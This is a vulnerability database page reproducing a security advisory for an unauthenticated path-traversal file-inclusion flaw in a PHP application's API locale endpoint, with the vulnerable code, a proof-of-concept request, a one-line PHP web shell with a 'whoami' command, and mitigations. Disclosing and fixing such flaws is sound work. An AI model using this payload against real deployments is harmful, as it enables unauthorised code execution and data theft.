Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-8fw8-q79c-fp9m

HighCVSS 8.6 / 10
Published Mar 20, 2026·Last modified Mar 25, 2026
Affected Components(0)

No affected components available

Description

Summary

An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree.

Details

  • Entry point: plugin/API/get.json.php sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON into $parameters without authentication or API secret.
  • Handler: plugin/API/API.php, method get_api_locale() (lines ~5009–5023):
    $parameters['language'] = strtolower($parameters['language']);
    $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php";
    if (!file_exists($file)) { return new ApiObject("This language does not exists"); }
    include $file;
    
    No validation is performed; ../ traversal is accepted.
  • Because include executes PHP, any reachable PHP file is executed in the web server context.

PoC

  1. Fetch an arbitrary PHP file (no auth):
    GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1
    Host: <target>
    
    Response returns the rendered About page HTML, proving traversal outside locale/.
  2. RCE with an attacker PHP file (any writable PHP path):
    GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami
    
    If shell.php contains <?php system($_GET['x']); ?>, the response includes command output.

Impact

  • Unauthenticated file inclusion of arbitrary PHP files under the web root.
  • Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output.
  • Potential RCE if any attacker-writable PHP file exists elsewhere (not confirmed in this build).
  • Affects any deployment with the API plugin enabled (default in docker-compose).

Mitigation

  • Reject path separators/dots and enforce a strict allowlist of locale slugs.
  • realpath the target and ensure it stays within $systemRootPath/locale.
  • Stop using include for translations; load data from vetted formats (JSON/array).
  • Add authentication (API secret/token) to the endpoint as a secondary control.
Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.74%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard